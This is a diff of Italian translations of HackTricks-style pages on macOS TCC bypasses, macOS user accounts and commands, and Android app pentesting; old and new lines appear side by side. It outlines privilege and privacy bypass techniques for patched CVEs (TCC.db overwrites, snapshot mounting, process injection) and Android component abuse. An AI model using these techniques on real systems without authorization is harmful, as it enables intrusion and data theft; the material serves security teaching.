Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da quell'attributo, controlla il talk: [**#OBTS v5.0: "Cosa succede sul tuo Mac, rimane su iCloud di Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Per ulteriori **informazioni** sull'exploit per **ottenere token iCloud** da quell'attributo, controlla il talk: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automazione
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abuse dei permessi concessi alle altre app**.
Un'app con il permesso **`kTCCServiceAppleEvents`** sarà in grado di **controllare altre app**. Questo significa che potrebbe essere in grado di **abusare dei permessi concessi alle altre app**.
Per ulteriori informazioni sugli Apple Scripts, controlla:
@ -145,7 +145,7 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Note
Le note avevano accesso a posizioni protette da TCC, ma quando viene creata una nota, questa è **creata in una posizione non protetta**. Quindi, potresti chiedere a note di copiare un file protetto in una nota (quindi in una posizione non protetta) e poi accedere al file:
Le note avevano accesso a posizioni protette da TCC, ma quando viene creata una nota, questa è **creata in una posizione non protetta**. Quindi, potresti chiedere alle note di copiare un file protetto in una nota (quindi in una posizione non protetta) e poi accedere al file:
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
@ -167,7 +167,7 @@ Questo comportamento **`rename(a, b);`** è vulnerabile a una **Race Condition**
### SQLITE_SQLLOG_DIR - CVE-2023-32422
Se **`SQLITE_SQLLOG_DIR="path/folder"`** significa fondamentalmente che **qualsiasi db aperto viene copiato in quel percorso**. In questo CVE, questo controllo è stato abusato per **scrivere** all'interno di un **database SQLite** che verrà **aperto da un processo con FDA il database TCC**, e poi abusare di **`SQLITE_SQLLOG_DIR`** con un **symlink nel nome del file** in modo che quando quel database è **aperto**, l'utente **TCC.db viene sovrascritto** con quello aperto.\
**Maggiore info** [**nella scrittura**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e**[ **nella conferenza**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
**Maggiore info** [**nella scrittura**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**nella conferenza**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
### **SQLITE_AUTO_TRACE**
@ -184,9 +184,9 @@ Questa **variabile di ambiente è utilizzata dal framework `Metal`** che è una
Impostando quanto segue: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` è una directory valida, il bug verrà attivato e possiamo usare `fs_usage` per vedere cosa sta succedendo nel programma:
- un file verrà `open()`ato, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale)
- un file sarà `open()`ed, chiamato `path/.dat.nosyncXXXX.XXXXXX` (X è casuale)
- uno o più `write()` scriveranno i contenuti nel file (non controlliamo questo)
- `path/.dat.nosyncXXXX.XXXXXX` ver`renamed()` a `path/name`
- `path/.dat.nosyncXXXX.XXXXXX` sa`renamed()` a `path/name`
È una scrittura temporanea di file, seguita da un **`rename(old, new)`** **che non è sicuro.**
@ -205,7 +205,7 @@ Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'ute
- attivare il bug eseguendo `Music` con questa variabile di ambiente
- catturare l'`open()` di `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X è casuale)
- qui apriamo anche questo file per scrivere e teniamo il descrittore di file
- scambiare atomicamente `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo**
- scambiare in modo atomico `/Users/hacker/tmp` con `/Users/hacker/ourlink` **in un ciclo**
- facciamo questo per massimizzare le nostre possibilità di successo poiché la finestra di gara è piuttosto ristretta, ma perdere la gara ha un impatto trascurabile
- aspetta un po'
- verifica se abbiamo avuto fortuna
@ -214,13 +214,13 @@ Questo era l'attacco nel CVE: Ad esempio, per sovrascrivere il `TCC.db` dell'ute
Ulteriori informazioni su [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
> [!CAUTION]
> Ora, se provi a utilizzare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avvieranno
> Ora, se provi a usare la variabile di ambiente `MTL_DUMP_PIPELINES_TO_JSON_FILE`, le app non si avvieranno
### Apple Remote Desktop
Come root potresti abilitare questo servizio e l'**agente ARD avrà accesso completo al disco**, che potrebbe poi essere abusato da un utente per farlo copiare un nuovo **database utente TCC**.
Come root potresti abilitare questo servizio e l'**agente ARD avrà accesso completo al disco** che potrebbe poi essere abusato da un utente per farlo copiare un nuovo **database utente TCC**.
## By **NFSHomeDirectory**
## Per **NFSHomeDirectory**
TCC utilizza un database nella cartella HOME dell'utente per controllare l'accesso alle risorse specifiche per l'utente in **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Pertanto, se l'utente riesce a riavviare TCC con una variabile di ambiente $HOME che punta a una **cartella diversa**, l'utente potrebbe creare un nuovo database TCC in **/Library/Application Support/com.apple.TCC/TCC.db** e ingannare TCC per concedere qualsiasi autorizzazione TCC a qualsiasi app.
@ -244,11 +244,11 @@ Il **primo POC** utilizza [**dsexport**](https://www.unix.com/man-page/osx/1/dse
6. Ferma il _tccd_ dell'utente e riavvia il processo.
Il secondo POC ha utilizzato **`/usr/libexec/configd`** che aveva `com.apple.private.tcc.allow` con il valore `kTCCServiceSystemPolicySysAdminFiles`.\
Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante potrebbe specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** per cambiare la home directory dell'utente con un **iniezione di codice configd**.
Era possibile eseguire **`configd`** con l'opzione **`-t`**, un attaccante poteva specificare un **Bundle personalizzato da caricare**. Pertanto, l'exploit **sostituisce** il metodo **`dsexport`** e **`dsimport`** di cambiamento della home directory dell'utente con un **iniezione di codice configd**.
Per ulteriori informazioni, controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
## By process injection
## Per iniezione di processo
Ci sono diverse tecniche per iniettare codice all'interno di un processo e abusare dei suoi privilegi TCC:
@ -417,7 +417,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare un'istantanea di Time Machine e **accedere a TUTTI i file** di quell'istantanea.\
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare uno snapshot di Time Machine e **accedere a TUTTI i file** di quello snapshot.\
L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), che deve essere concesso da un amministratore.
```bash
# Create snapshot
@ -465,6 +465,14 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
Controlla il **full exploit** nel [**writeup originale**](https://theevilbit.github.io/posts/cve-2021-30808/).
### CVE-2024-40855
Come spiegato nel [writeup originale](https://www.kandji.io/blog/macos-audit-story-part2), questo CVE ha abusato di `diskarbitrationd`.
La funzione `DADiskMountWithArgumentsCommon` del framework pubblico `DiskArbitration` eseguiva i controlli di sicurezza. Tuttavia, è possibile bypassarla chiamando direttamente `diskarbitrationd` e quindi utilizzare elementi `../` nel percorso e symlink.
Questo ha permesso a un attaccante di eseguire mount arbitrari in qualsiasi posizione, incluso il database TCC a causa del diritto `com.apple.private.security.storage-exempt.heritable` di `diskarbitrationd`.
### asr
Lo strumento **`/usr/sbin/asr`** consentiva di copiare l'intero disco e montarlo in un'altra posizione bypassando le protezioni TCC.
@ -474,15 +482,15 @@ Lo strumento **`/usr/sbin/asr`** consentiva di copiare l'intero disco e montarlo
C'è un terzo database TCC in **`/var/db/locationd/clients.plist`** per indicare i client autorizzati ad **accedere ai servizi di localizzazione**.\
La cartella **`/var/db/locationd/` non era protetta dal montaggio DMG** quindi era possibile montare il nostro plist.
## Tramite app di avvio
## Attraverso app di avvio
{{#ref}}
../../../../macos-auto-start-locations.md
{{#endref}}
## Tramite grep
## Attraverso grep
In diverse occasioni i file memorizzano informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
In diverse occasioni, i file memorizzeranno informazioni sensibili come email, numeri di telefono, messaggi... in posizioni non protette (che contano come una vulnerabilità in Apple).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
@ -492,7 +500,7 @@ Questo non funziona più, ma [**funzionava in passato**](https://twitter.com/noa
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
Un altro modo usando [**eventi CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
Un altro modo utilizzando [**eventi CoreGraphics**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf):
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -4,32 +4,30 @@
## Common Users
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
- **Daemon**: Utente riservato per i demoni di sistema. I nomi degli account daemon predefiniti di solito iniziano con un "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account for guests with very strict permissions
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account per ospiti con permessi molto restrittivi
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Nessuno**: I processi vengono eseguiti con questo utente quando sono richieste autorizzazioni minime
- **Root**
## User Privileges
## Privilegi Utente
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
- For example root won't be able to place a file inside `/System`
- **Utente Standard:** Il tipo più basilare di utente. Questo utente ha bisogno di autorizzazioni concesse da un utente admin quando tenta di installare software o eseguire altre operazioni avanzate. Non è in grado di farlo da solo.
- **Utente Admin**: Un utente che opera per la maggior parte del tempo come un utente standard ma è anche autorizzato a eseguire azioni di root come installare software e altre operazioni amministrative. Tutti gli utenti appartenenti al gruppo admin **hanno accesso a root tramite il file sudoers**.
- **Root**: Root è un utente autorizzato a eseguire quasi qualsiasi azione (ci sono limitazioni imposte da protezioni come System Integrity Protection).
- Ad esempio, root non sarà in grado di posizionare un file all'interno di `/System`
## External Accounts
## Account Esterni
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
MacOS supporta anche l'accesso tramite fornitori di identità esterni come FaceBook, Google... Il principale demone che esegue questo lavoro è `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) ed è possibile trovare plugin utilizzati per l'autenticazione esterna all'interno della cartella `/System/Library/Accounts/Authentication/`.\
Inoltre, `accountsd` ottiene l'elenco dei tipi di account da `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# macOS Useful Commands
# macOS Comandi Utili
{{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools
### Strumenti di Enumerazione Automatica MacOS
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands
### Comandi MacOS Specifici
```bash
#System info
date
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache
sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/
##Web folder: /Library/WebServer/Documents/
#Remove DNS cache
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
```
### Software e Servizi Installati
### Installed Software & Services
Check for **suspicious** applications installed and **privileges** over the.installed resources:
Controlla le applicazioni **sospette** installate e i **privilegi** sulle risorse installate:
```
system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps
launchctl list #Services
```
### User Processes
### Processi Utente
```bash
# will print all the running services under that particular user domain.
launchctl print gui/<users UID>
@ -140,10 +135,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if its not running or youve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label
```
### Crea un utente
### Create a user
Without prompts
Senza prompt
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

View File

@ -2,21 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Approfondimenti sul Hacking**\
Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
**Notizie di Hacking in Tempo Reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
**Ultimi Annunci**\
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Fondamenti delle Applicazioni Android
È altamente consigliato iniziare a leggere questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
@ -28,7 +13,7 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
**ADB** consente di controllare i dispositivi sia tramite **USB** che **Rete** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
@ -39,7 +24,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
## Altri trucchi interessanti
- [Spoofing della tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
- [Falsificare la tua posizione nel Play Store](spoofing-your-location-in-play-store.md)
- **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Estrai APK dal dispositivo:
```bash
@ -71,7 +56,7 @@ Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL**
**Firebase**
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Ulteriori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è FIrebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
@ -79,11 +64,11 @@ L'**esame dei file \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* di un'appl
**Vulnerabilità** identificate dal **Manifest.xml** includono:
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Applicazioni Debuggable**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per ulteriori informazioni su come sfruttare le applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Impostazioni di Backup**: L'attributo `android:allowBackup="false"` dovrebbe essere esplicitamente impostato per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando il debug USB è abilitato.
- **Sicurezza della Rete**: Configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come pin di certificato e impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici.
- **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti.
- **Content Providers e FileProviders**: Content provider esposti potrebbero consentire accesso o modifica non autorizzati dei dati. La configurazione dei FileProviders dovrebbe essere scrutinata.
- **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. Anche la configurazione dei FileProviders dovrebbe essere scrutinata.
- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input.
- **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
@ -94,7 +79,7 @@ Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi persona
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
Trova ulteriori informazioni in:
Trova maggiori informazioni in:
{{#ref}}
tapjacking.md
@ -102,9 +87,9 @@ tapjacking.md
### Task Hijacking
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Questo significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**).
Ulteriori informazioni in:
Maggiore info in:
{{#ref}}
android-task-hijacking.md
@ -119,14 +104,14 @@ In Android, i file **memorizzati** nella **memoria interna** sono **progettati**
1. **Analisi Statica:**
- **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato attentamente**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**.
2. **Analisi Dinamica:**
- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se alcuni file sono **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file.
**Memoria Esterna**
Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni:
1. **Accessibilità**:
- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file.
- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file.
2. **Preoccupazioni di Sicurezza**:
- Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna.
- La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura.
@ -225,21 +210,6 @@ content-protocol.md
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Approfondimenti sul hacking**\
Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking.
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale.
**Ultimi annunci**\
Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della piattaforma.
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
---
## Analisi dinamica
@ -250,7 +220,7 @@ Rimani informato con i nuovi bug bounty in arrivo e aggiornamenti cruciali della
Puoi creare un **account gratuito** in: [https://appetize.io/](https://appetize.io). Questa piattaforma ti consente di **caricare** e **eseguire** APK, quindi è utile per vedere come si comporta un apk.
Puoi persino **vedere i log della tua applicazione** nel web e connetterti tramite **adb**.
Puoi persino **vedere i log della tua applicazione** sul web e connetterti tramite **adb**.
![](<../../images/image (831).png>)
@ -302,19 +272,19 @@ Gli sviluppatori dovrebbero prestare attenzione a non esporre **informazioni di
> Nota che da **versioni successive ad Android 4.0**, **le applicazioni possono accedere solo ai propri log**. Quindi le applicazioni non possono accedere ai log di altre app.\
> Comunque, è ancora consigliato **non registrare informazioni sensibili**.
**Caching del buffer Copia/Incolla**
**Caching del buffer di copia/incolla**
Il framework **basato su clipboard** di Android consente la funzionalità di copia e incolla nelle app, ma presenta un rischio poiché **altre applicazioni** possono **accedere** alla clipboard, esponendo potenzialmente dati sensibili. È fondamentale **disabilitare le funzioni di copia/incolla** per sezioni sensibili di un'applicazione, come i dettagli della carta di credito, per prevenire perdite di dati.
**Log di crash**
Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere reverse-engineered. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi attraverso la rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza.
Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli attaccanti, in particolare quando l'applicazione non può essere sottoposta a reverse engineering. Per mitigare questo rischio, evita di registrare in caso di crash e, se i log devono essere trasmessi sulla rete, assicurati che vengano inviati tramite un canale SSL per la sicurezza.
Come pentester, **cerca di dare un'occhiata a questi log**.
**Dati analitici inviati a terzi**
**Dati di analisi inviati a terzi**
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare se ci sono informazioni sensibili inviate a servizi di terze parti.
### DB SQLite
@ -323,7 +293,7 @@ I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `
Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
Enumera le tabelle utilizzando `.tables` ed enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
### Drozer (Attività di sfruttamento, Content Providers e Servizi)
@ -339,7 +309,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
Quando un'Activity è esportata puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/#activities)
[**Impara come sfruttare le attività esportate con Drozer.**](drozer-tutorial/#activities)
Puoi anche avviare un'attività esportata da adb:
@ -359,14 +329,14 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](./#tapjacking).
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](./#tapjacking).
### Sfruttare i Content Provider - Accesso e manipolazione di informazioni sensibili
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
[**Leggi questo se vuoi rinfrescare cosa è un Content Provider.**](android-applications-basics.md#content-provider)\
I content provider sono fondamentalmente utilizzati per **condividere dati**. Se un'app ha content provider disponibili, potresti essere in grado di **estrarre dati sensibili** da essi. È anche interessante testare possibili **SQL injection** e **Path Traversals** poiché potrebbero essere vulnerabili.
[**Scopri come sfruttare i Content Provider con Drozer.**](drozer-tutorial/#content-providers)
[**Scopri come sfruttare i Content Providers con Drozer.**](drozer-tutorial/#content-providers)
### **Sfruttare i Servizi**
@ -376,13 +346,13 @@ Ricorda che le azioni di un Servizio iniziano nel metodo `onStartCommand`.
